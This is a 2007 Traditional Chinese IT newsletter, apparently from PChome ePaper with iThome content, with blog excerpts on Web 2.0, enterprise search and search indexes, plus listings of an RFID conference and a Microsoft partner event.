基本上討論 Web 2.0 網站的網站已經不計可數了,但有時在想,「Web 2.0」慢慢的從行銷名詞有了定義,變成一個可以溝通的工具,只是這個去判斷甚麼是 Web 2.0 或是 1.0 或是 3.0 是蠻無聊的,甚至應該有的是一個量度,就是判斷一個網站所謂 Web 2.0 的成份高與低,而不是討論一個網站是不是 Web 2.0…

Look Search 原來搜尋引擎可以這樣玩

台灣應用狀況

目前台灣MIS與IT人員,仍處於不太了解Enterprise Search軟體與Google 這一類的網路搜尋服務有何不同,更不用說會知道Enterprise Search可以為企業帶來那些效益與幫助?尤其國內多數企業資料量仍不是很大,查詢功能不足、搜尋效率過慢的「痛」尚未全面浮現出來,所以普及率並不是很高。

所幸其他先進國家(如美國、歐洲)在這塊市場廝殺十分激烈,讓原本應該都是幾百萬的專案軟體,反而出現標準化的免費軟體(如Jeff上一篇分享的4家免費版軟體)。也因為如此,這個部落格開始將針對這四家的企業用搜尋引擎進行測試與應用…

Index 索引庫介紹

在Google的說明中心是這樣形容"索引"的個名詞:「Google 索引是我們資料庫中網站的集合,這些網站會經由搜尋傳回。我們一直以來不斷的在 Google 中加入更多的內容,我們的漫遊器會定期檢索網頁以重新建立索引。」

沒錯,一套搜尋引擎的運作核心,便是 Index 索引。它可針對指定的資料來源(並且不限定於網站,像是文件、DB資料庫皆可)抽取必要資訊,然後把資料跟搜尋引擎建立起關連性,所以Index索引就像一本書的目錄,或是想像成一家圖書館用於查書的索引查詢區,讓需要查閱資料的人就可以經由目錄索引快速翻閱到所需資訊。由於資料通常很龐大,所以我們稱為「Index索引庫」…

全文>>
TOP

今日新聞    
下周科技大事-經濟部舉辦RFID創新應用國際研討會

經濟部舉辦RFID創新應用國際研討會
日期:11月29日 星期四
經濟部為推動RFID產業的發展,舉辦「2007 RFID創新應用國際研討會」提供了國內RFID相關業者與國外RFID應用先進互相溝通交流的平台,以提升國內RFID的應用性及廣泛性。

微軟舉辦經銷合作夥伴大會
日期:11月28日∼11月30日
微軟將於2008年推出Windows Server 2008(Code Name: Longhorn Server)、Visual Studio 2008,以及SQL Server 2008三大產品的新版本,並透過微軟經銷合作夥伴大會提供獨立軟體開發商、系統整合商及中小企業與技術決策者,不同的訓練課程與認證資訊。

全文>>
TOP

前期文章 全部歷史文章
出刊日期 出刊主題
2007-11-24 Google首辦台北程式開發日 推廣小工具開發
2007-11-23 分析師:虛擬化是Linux的好機會
2007-11-22 Novell:要和台灣硬體廠推出預載Linux PC
2007-11-21 BSA:25%企業主指示員工用盜版軟體
2007-11-20 CA大幅縮編台灣分公司 轉型經銷商代理

感謝你訂閱這份電子報,下列電子報或許你會喜歡,請勾選
   數位之牆    ToGet 軟體報    遊戲新幹線玩家快 ...    D.FUN數位享樂誌
   PC uSER密技偷偷 ...    數位時代    科學人雜誌    PC Office電子報
我要訂閱這份報紙» 我要取消這份報紙» 訂報說明
.本電子報內容由 iThome online 提供
.關於內容有任何疑問,或欲轉載請聯絡
PChome ePaper 電子報版權所有,關於電子報發送有任何疑問,請聯絡 客服
台北市敦化南路二段105號11樓 ,TEL:(02)2708-8038,FAX:(02)27094848。
刊登廣告個人連結企業合作隱私權聲明關於PChome徵人
網路家庭版權所有 Copyright PChome Online 版權所有,轉載必究